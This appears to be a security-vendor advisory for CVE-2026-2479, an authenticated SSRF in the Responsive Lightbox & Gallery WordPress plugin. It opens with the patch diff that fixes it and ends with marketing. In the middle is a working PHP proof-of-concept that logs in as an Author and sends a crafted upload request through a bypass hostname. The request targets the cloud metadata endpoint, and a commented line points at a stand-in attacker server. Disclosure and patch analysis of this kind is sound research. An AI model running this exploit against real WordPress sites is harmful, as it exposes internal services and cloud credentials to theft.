+								// Prevent substring bypass: evil-wikimedia.org or upload.wikimedia.org.evil.com must NOT match
+								if ( $image_host === $host || substr( $image_host, -( strlen( $host ) + 1 ) ) === '.' . $host ) {
+									$valid_host = true;
+
+									// no need to check rest of the hosts
+									break;
+								}
+							}
+						}
+					} else {
+						$valid_host = true;
+					}
+
+					if ( $valid_host && empty( $result['error'] ) ) {
 						// get max image size (ensure at least 1MB)
 						$max_size = max( 1, absint( Responsive_Lightbox()->options['remote_library']['max_image_size'] ) ) * 1024 * 1024;

-						// check image size via HEAD request
-						$head_response = wp_remote_head( $image_url );
+					// check image size via HEAD request - use wp_safe_remote_head for SSRF protection
+						$head_response = wp_safe_remote_head( $image_url );
 						$skip_size_check = false;

 						if ( is_wp_error( $head_response ) ) {
@@ -455,41 +480,44 @@
 							}
 						}

-						if ( empty( $result['error'] ) ) {
-							// get image as binary data with timeout
-							$response = wp_safe_remote_get( $image_url, [ 'timeout' => 30 ] );
-
-							// no errors?
-							if ( ! is_wp_error( $response ) ) {
-								// get image binary data
-								$image_bits = wp_remote_retrieve_body( $response );
-
-								// check body size if HEAD was skipped or as fallback
-								$body_size = strlen( $image_bits );
-								if ( $skip_size_check || $body_size > $max_size ) {
-									if ( $body_size > $max_size ) {
-										$result['error'] = true;
-										$result['message'] = __( 'Image size exceeds maximum allowed size.', 'responsive-lightbox' );
-									}
-								}
-
-								if ( empty( $result['error'] ) ) {
-									// get sanitized file name
-									$file_name = sanitize_file_name( pathinfo( $data['image']['name'], PATHINFO_BASENAME ) );
-
-									// get file extension
-									$file_ext = pathinfo( $file_name, PATHINFO_EXTENSION );
-
-									// no extension?
-									if ( $file_ext === '' || ! array_key_exists( $file_ext, $image_formats ) ) {
-										$file_name .= '.jpg';
-										$file_ext = 'jpg';
-									}
-
-									// simple mime checking
-									$check = wp_check_filetype( $file_name );
-
-									if ( $check['type'] === $data['image']['mime'] && $check['ext'] !== false && array_key_exists( $file_ext, $image_formats ) ) {
+					if ( empty( $result['error'] ) ) {
+							// get image as binary data with timeout and size limit to prevent memory exhaustion
+							$response = wp_safe_remote_get( $image_url, [
+								'timeout' => 30,
+								'limit_response_size' => $max_size + 1024, // Add 1KB buffer for headers
+							] );
+
+							// no errors?
+							if ( ! is_wp_error( $response ) ) {
+								// get image binary data
+								$image_bits = wp_remote_retrieve_body( $response );
+
+								// check body size as validation
+								// Note: limit_response_size prevents memory exhaustion, but we still validate the actual size
+								$body_size = strlen( $image_bits );
+								if ( $body_size > $max_size ) {
+									$result['error'] = true;
+									$result['message'] = __( 'Image size exceeds maximum allowed size.', 'responsive-lightbox' );
+								}
+
+								if ( empty( $result['error'] ) ) {
+									// get sanitized file name
+									$file_name = sanitize_file_name( pathinfo( $data['image']['name'], PATHINFO_BASENAME ) );
+
+									// get file extension
+									$file_ext = pathinfo( $file_name, PATHINFO_EXTENSION );
+
+									// no extension?
+									if ( $file_ext === '' || ! array_key_exists( $file_ext, $image_formats ) ) {
+										$file_name .= '.jpg';
+										$file_ext = 'jpg';
+									}
+
+									// strict file validation using wp_check_filetype with allowed formats whitelist
+									$check = wp_check_filetype( $file_name, $image_formats );
+
+									// validate extension is allowed and mime type matches
+									if ( $check['ext'] && $check['type'] && array_key_exists( $check['ext'], $image_formats ) && $check['type'] === $data['image']['mime'] ) {
 										// upload image
 										$uploaded_image = wp_upload_bits( $file_name, null, $image_bits, current_time( 'Y/m' ) );

@@ -560,10 +588,11 @@
 								}
 							}
 						}
-					} else {
-						$result['error'] = true;
-						$result['message'] = __( 'Invalid host', 'responsive-lightbox' );
-					}
+					} elseif ( empty( $result['error'] ) ) {
+						// Only set "Invalid host" if no previous error was set (e.g., "Invalid image URL")
+						$result['error'] = true;
+						$result['message'] = __( 'Invalid host', 'responsive-lightbox' );
+					}
 				} else {
 					$result['error'] = true;
 					$result['message'] = __( 'Missing or invalid image data', 'responsive-lightbox' );
--- a/responsive-lightbox/includes/class-settings.php
+++ b/responsive-lightbox/includes/class-settings.php
@@ -391,9 +391,9 @@
 		// Category options now populated by Settings API (class-settings-builder.php)
 		// Legacy code removed - no longer writing to $this->settings

-		// flush rewrite rules if needed
-		if ( current_user_can( apply_filters( 'rl_lightbox_settings_capability', $rl->options['capabilities']['active'] ? 'edit_lightbox_settings' : 'manage_options' ) ) && isset( $_POST['flush_rules'] ) && isset( $_POST['option_page'], $_POST['action'], $_POST['responsive_lightbox_builder'], $_POST['_wpnonce'] ) && $_POST['option_page'] === 'responsive_lightbox_builder' && $_POST['action'] === 'update' && ( isset( $_POST['save_rl_builder'] ) || isset( $_POST['reset_rl_builder'] ) || isset( $_POST['save_responsive_lightbox_builder'] ) || isset( $_POST['reset_responsive_lightbox_builder'] ) ) && check_admin_referer( 'responsive_lightbox_builder-options', '_wpnonce' ) !== false )
-			flush_rewrite_rules();
+		// flush rewrite rules if needed
+		if ( current_user_can( apply_filters( 'rl_lightbox_settings_capability', $rl->options['capabilities']['active'] ? 'edit_lightbox_settings' : 'manage_options' ) ) && isset( $_POST['flush_rules'] ) && isset( $_POST['option_page'], $_POST['action'], $_POST['responsive_lightbox_builder'], $_POST['_wpnonce'] ) && $_POST['option_page'] === 'responsive_lightbox_builder' && $_POST['action'] === 'update' && ( isset( $_POST['save_rl_builder'] ) || isset( $_POST['reset_rl_builder'] ) || isset( $_POST['save_responsive_lightbox_builder'] ) || isset( $_POST['reset_responsive_lightbox_builder'] ) ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'responsive_lightbox_builder-options' ) )
+			flush_rewrite_rules();
 	}

 	/**
--- a/responsive-lightbox/includes/galleries/trait-gallery-ajax.php
+++ b/responsive-lightbox/includes/galleries/trait-gallery-ajax.php
@@ -40,11 +40,16 @@
 	 * @param array $args
 	 * @return void
 	 */
-	public function get_gallery_page( $args ) {
-		// check whether is it valid gallery ajax request
-		if ( $this->gallery_ajax_verified() ) {
-			// cast page number
-			$_GET['rl_page'] = (int) $_POST['page'];
+	public function get_gallery_page( $args ) {
+		// check whether is it valid gallery ajax request
+		if ( $this->gallery_ajax_verified() ) {
+			// check rate limiting (60 requests per minute)
+			if ( ! Responsive_Lightbox()->check_rate_limit( 'rl_get_gallery_page', 60, 60 ) ) {
+				wp_send_json_error( __( 'Rate limit exceeded. Please try again later.', 'responsive-lightbox' ) );
+			}
+
+			// cast page number
+			$_GET['rl_page'] = (int) $_POST['page'];

 			// check preview
 			$preview = ( $_POST['preview'] === 'true' );
@@ -138,10 +143,15 @@
 	 *
 	 * @return void
 	 */
-	public function post_get_galleries() {
-		// check data
-		if ( ! isset( $_POST['post_id'], $_POST['search'], $_POST['nonce'], $_POST['page'] ) || ! check_ajax_referer( 'rl-gallery-post', 'nonce', false ) )
-			wp_send_json_error();
+	public function post_get_galleries() {
+		// check rate limiting (60 requests per minute)
+		if ( ! Responsive_Lightbox()->check_rate_limit( 'rl_post_get_galleries', 60, 60 ) ) {
+			wp_send_json_error( __( 'Rate limit exceeded. Please try again later.', 'responsive-lightbox' ) );
+		}
+
+		// check data
+		if ( ! isset( $_POST['post_id'], $_POST['search'], $_POST['nonce'], $_POST['page'] ) || ! check_ajax_referer( 'rl-gallery-post', 'nonce', false ) )
+			wp_send_json_error();

 		// check page
 		$page = preg_replace( '/[^a-z-.]/i', '', $_POST['page'] );
@@ -276,10 +286,15 @@
 	 *
 	 * @return void
 	 */
-	public function get_gallery_preview_content() {
-		// initial checks
-		if ( ! isset( $_POST['post_id'], $_POST['menu_item'], $_POST['nonce'], $_POST['preview_type'] ) || ! check_ajax_referer( 'rl-gallery', 'nonce', false ) )
-			wp_send_json_error();
+	public function get_gallery_preview_content() {
+		// check rate limiting (60 requests per minute)
+		if ( ! Responsive_Lightbox()->check_rate_limit( 'rl_get_gallery_preview_content', 60, 60 ) ) {
+			wp_send_json_error( __( 'Rate limit exceeded. Please try again later.', 'responsive-lightbox' ) );
+		}
+
+		// initial checks
+		if ( ! isset( $_POST['post_id'], $_POST['menu_item'], $_POST['nonce'], $_POST['preview_type'] ) || ! check_ajax_referer( 'rl-gallery', 'nonce', false ) )
+			wp_send_json_error();

 		// cast gallery ID
 		$post_id = (int) $_POST['post_id'];
@@ -504,19 +519,19 @@
 		$disable_first = $disable_last = $disable_prev = $disable_next = false;
 		$current_url = 'preview_page';

-		if ( $current == 1 ) {
-			$disable_first = true;
-			$disable_prev = true;
-		} elseif ( $current == 2 )
-			$disable_first = true;
-
-		if ( $current == $total_pages ) {
-			$disable_last = true;
-			$disable_next = true;
-		}
+		if ( $current === 1 ) {
+			$disable_first = true;
+			$disable_prev = true;
+		} elseif ( $current === 2 )
+			$disable_first = true;
+
+		if ( $current === $total_pages ) {
+			$disable_last = true;
+			$disable_next = true;
+		}

-		if ( $current == $total_pages - 1 )
-			$disable_last = true;
+		if ( $current === $total_pages - 1 )
+			$disable_last = true;

 		if ( $disable_first )
 			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">«</span>';
--- a/responsive-lightbox/includes/settings/class-settings-addons.php
+++ b/responsive-lightbox/includes/settings/class-settings-addons.php
@@ -133,11 +133,11 @@
 	 *
 	 * @return string
 	 */
-	private static function fetch_addons_feed() {
-		$feed = wp_remote_get( 'http://www.dfactory.co/?feed=addons&product=responsive-lightbox', [ 'sslverify' => false ] );
-
-		if ( is_wp_error( $feed ) )
-			return '';
+	private static function fetch_addons_feed() {
+		$feed = wp_remote_get( 'https://www.dfactory.co/?feed=addons&product=responsive-lightbox', [ 'sslverify' => true ] );
+
+		if ( is_wp_error( $feed ) )
+			return '';

 		$body = wp_remote_retrieve_body( $feed );

--- a/responsive-lightbox/responsive-lightbox.php
+++ b/responsive-lightbox/responsive-lightbox.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: Responsive Lightbox & Gallery
 Description: Responsive Lightbox & Gallery allows users to create galleries and view larger versions of images, galleries and videos in a lightbox (overlay) effect optimized for mobile devices.
-Version: 2.7.1
+Version: 2.7.2
 Author: dFactory
 Author URI: http://www.dfactory.co/
 Plugin URI: http://www.dfactory.co/products/responsive-lightbox/
@@ -45,7 +45,7 @@
  * Responsive Lightbox class.
  *
  * @class Responsive_Lightbox
- * @version	2.7.1
+ * @version	2.7.2
  */
 class Responsive_Lightbox {

@@ -284,7 +284,7 @@
 			'origin_left'		=> true,
 			'origin_top'		=> true
 		],
-		'version' => '2.7.1',
+		'version' => '2.7.2',
 		'activation_date' => ''
 	];
 	public $options = [];
@@ -380,9 +380,9 @@
 		}

 		// add default galleries options
-		$this->options['basicgrid_gallery'] = array_merge( $this->defaults['basicgrid_gallery'], ( ( $array = get_option( 'responsive_lightbox_basicgrid_gallery', $this->defaults['basicgrid_gallery'] ) ) == false ? [] : $array ) );
-		$this->options['basicslider_gallery'] = array_merge( $this->defaults['basicslider_gallery'], ( ( $array = get_option( 'responsive_lightbox_basicslider_gallery', $this->defaults['basicslider_gallery'] ) ) == false ? [] : $array ) );
-		$this->options['basicmasonry_gallery'] = array_merge( $this->defaults['basicmasonry_gallery'], ( ( $array = get_option( 'responsive_lightbox_basicmasonry_gallery', $this->defaults['basicmasonry_gallery'] ) ) == false ? [] : $array ) );
+		$this->options['basicgrid_gallery'] = array_merge( $this->defaults['basicgrid_gallery'], ( ( $array = get_option( 'responsive_lightbox_basicgrid_gallery', $this->defaults['basicgrid_gallery'] ) ) === false ? [] : $array ) );
+		$this->options['basicslider_gallery'] = array_merge( $this->defaults['basicslider_gallery'], ( ( $array = get_option( 'responsive_lightbox_basicslider_gallery', $this->defaults['basicslider_gallery'] ) ) === false ? [] : $array ) );
+		$this->options['basicmasonry_gallery'] = array_merge( $this->defaults['basicmasonry_gallery'], ( ( $array = get_option( 'responsive_lightbox_basicmasonry_gallery', $this->defaults['basicmasonry_gallery'] ) ) === false ? [] : $array ) );

 		// set current lightbox script
 		$this->current_script = $this->options['settings']['script'];
@@ -1067,7 +1067,7 @@
 			$other = sanitize_text_field( $_POST['other'] );

 			// avoid fake submissions
-			if ( $option_id == 6 && $other == '' )
+			if ( $option_id === 6 && $other === '' )
 				wp_send_json_success();

 			wp_remote_post(
@@ -1321,7 +1321,7 @@
 		$breadcrumbs = [];

 		// get page
-		$page_raw = isset( $_GET['page'] ) ? wp_unslash( $_GET['page'] ) : '';
+		$page_raw = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
 		$page_parts = $page_raw !== '' ? explode( '&', $page_raw, 2 ) : [ '' ];
 		$page = $page_parts[0] !== '' ? sanitize_key( $page_parts[0] ) : '';
 		$page_args = [];
@@ -1329,6 +1329,9 @@
 		if ( ! empty( $page_parts[1] ) )
 			parse_str( $page_parts[1], $page_args );

+		// sanitize all page_args to prevent XSS
+		$page_args = array_map( 'sanitize_text_field', $page_args );
+
 		// get tabs from Settings API
 		$api_pages = $this->settings_api->get_pages();
 		$tabs = [];
@@ -2165,6 +2168,55 @@

 		return [ 'r' => hexdec( $r ), 'g' => hexdec( $g ), 'b' => hexdec( $b ) ];
 	}
+
+	/**
+	 * Check rate limit for AJAX actions to prevent abuse.
+	 *
+	 * @param string $action The action name to rate limit.
+	 * @param int $max_requests Maximum number of requests allowed in time window.
+	 * @param int $time_window Time window in seconds.
+	 * @return bool True if request is allowed, false if rate limit exceeded.
+	 */
+	public function check_rate_limit( $action, $max_requests = 30, $time_window = 60 ) {
+		$current_user_id = get_current_user_id();
+
+		// skip rate limiting for administrators
+		if ( $current_user_id && current_user_can( 'manage_options' ) ) {
+			return true;
+		}
+
+		// Get client IP with fallbacks for various server configurations
+		$client_ip = '127.0.0.1';
+		if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
+			$client_ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
+		} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
+			// Handle proxied requests - extract first IP if multiple are present
+			$forwarded_ips = explode( ',', sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) );
+			$client_ip = trim( $forwarded_ips[0] );
+		} elseif ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
+			$client_ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) );
+		}
+
+		// Validate IP address format
+		if ( ! filter_var( $client_ip, FILTER_VALIDATE_IP ) ) {
+			$client_ip = '127.0.0.1';
+		}
+
+		$transient_key = 'rl_rate_limit_' . $action . '_' . ( $current_user_id ? $current_user_id : md5( $client_ip ) );
+		$requests = get_transient( $transient_key );
+
+		if ( false === $requests ) {
+			set_transient( $transient_key, 1, $time_window );
+			return true;
+		}
+
+		if ( $requests >= $max_requests ) {
+			return false;
+		}
+
+		set_transient( $transient_key, $requests + 1, $time_window );
+		return true;
+	}
 }

 /**

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2479 - Responsive Lightbox & Gallery <= 2.7.1 - Authenticated (Author+) Server-Side Request Forgery via Remote Library Image Upload

<?php

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';

// Internal target for SSRF (AWS metadata endpoint example)
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';
// External target for demonstration
// $ssrf_target = 'http://attacker-controlled-server.com/ssrf-capture';

// Craft hostname that bypasses substring validation
// Using 'internal' as allowed host substring (if 'internal' is in allowed hosts list)
$bypass_host = 'metadata.google.internal.wikimedia.org';
$ssrf_url = 'http://' . $bypass_host . '/proxy?url=' . urlencode($ssrf_target);

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Check login success by looking for dashboard elements
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Get nonce from remote library interface
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/upload.php?page=responsive-lightbox-remote-library');
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract nonce from page (simplified - in reality would parse JavaScript or AJAX response)
// Nonce is typically available in JavaScript variables or AJAX responses
// For this PoC, we assume the attacker has obtained a valid nonce through normal plugin usage
$nonce = 'EXTRACTED_NONCE_HERE'; // Would be extracted from page source

// Construct SSRF payload
$payload = [
    'action' => 'rl-upload-image',
    'rlnonce' => $nonce,
    'post_id' => 1, // Any valid post ID
    'image' => [
        'media_provider' => 'wikimedia', // Assuming wikimedia is in allowed providers
        'url' => $ssrf_url,
        'name' => 'ssrf-test.jpg',
        'width' => 800,
        'height' => 600
    ]
];

// Send exploit request
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$response = curl_exec($ch);

// Parse response
$result = json_decode($response, true);
if ($result && isset($result['error']) && !$result['error']) {
    echo "SSRF successful! Image uploaded with ID: " . $result['attachment_id'] . "n";
    echo "Response data may contain internal service information.n";
} else {
    echo "SSRF failed. Response: " . $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School